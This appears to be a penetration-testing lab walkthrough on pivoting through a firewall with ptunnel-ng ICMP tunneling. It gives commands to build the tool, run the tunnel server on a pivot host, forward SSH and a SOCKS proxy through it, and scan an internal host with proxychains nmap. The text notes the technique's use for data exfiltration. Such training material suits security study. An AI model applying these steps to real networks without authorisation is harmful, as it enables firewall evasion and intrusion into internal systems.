ptunnel

w1j0y

Pivoting Around Obstacles ICMP Tunneling with SOCKS

ICMP tunneling encapsulates your traffic within ICMP packets containing echo requests and responses. ICMP tunneling would only work when ping responses are permitted within a firewalled network. When a host within a firewalled network is allowed to ping an external server, it can encapsulate its traffic within the ping echo request and send it to an external server. The external server can validate this traffic and send an appropriate response, which is extremely useful for data exfiltration and creating pivot tunnels to an external server.

We will use the ptunnel-ng tool to create a tunnel between our Ubuntu server and our attack host. Once a tunnel is created, we will be able to proxy our traffic through the ptunnel-ng client. We can start the ptunnel-ng server on the target pivot host. Let's start by setting up ptunnel-ng.

Cloning Ptunnel-ng

```
d0x777@htb[/htb]$ git clone https://github.com/utoni/ptunnel-ng.git
```

Building Ptunnel-ng with Autogen.sh

```
d0x777@htb[/htb]$ sudo ./autogen.sh
```

Transferring Ptunnel-ng to the Pivot Host

```
d0x777@htb[/htb]$ scp -r ptunnel-ng ubuntu@10.129.202.64:~/
```

Ubuntu Server
10.129.202.64

Starting the ptunnel-ng Server on the Target Host

```
ubuntu@WEB01:~/ptunnel-ng/src$ sudo ./ptunnel-ng -r10.129.89.32 -R22
```

The IP address following -r should be the IP we want ptunnel-ng to accept connections on. In this case, whatever IP is reachable from our attack host would be what we would use.

On the client & server side of the connection, we will notice ptunnel-ng gives us session logs and traffic statistics associated with the traffic that passes through the ICMP tunnel. This is one way we can confirm that our traffic is passing from client to server utilizing ICMP.

Back on the attack host, we can attempt to connect to the ptunnel-ng server (-p <ipAddressofTarget>) but ensure this happens through local port 2222 (-l2222). Connecting through local port 2222 allows us to send traffic through the ICMP tunnel.

Connecting to ptunnel-ng Server from Attack Host

```
d0x777@htb[/htb]$ sudo ./ptunnel-ng -p10.129.89.32 -l2222 -r10.129.89.32 -R22
```

With the ptunnel-ng ICMP tunnel successfully established, we can attempt to connect to the target using SSH through local port 2222 (-p2222).

```
d0x777@htb[/htb]$ ssh -p2222 -lubuntu 127.0.0.1
```

Enabling Dynamic Port Forwarding over SSH

```
d0x777@htb[/htb]$ ssh -D 9050 -p2222 -lubuntu 127.0.0.1
```

Proxychaining through the ICMP Tunnel

```
d0x777@htb[/htb]$ proxychains nmap -sV -sT 172.16.5.19 -p3389
```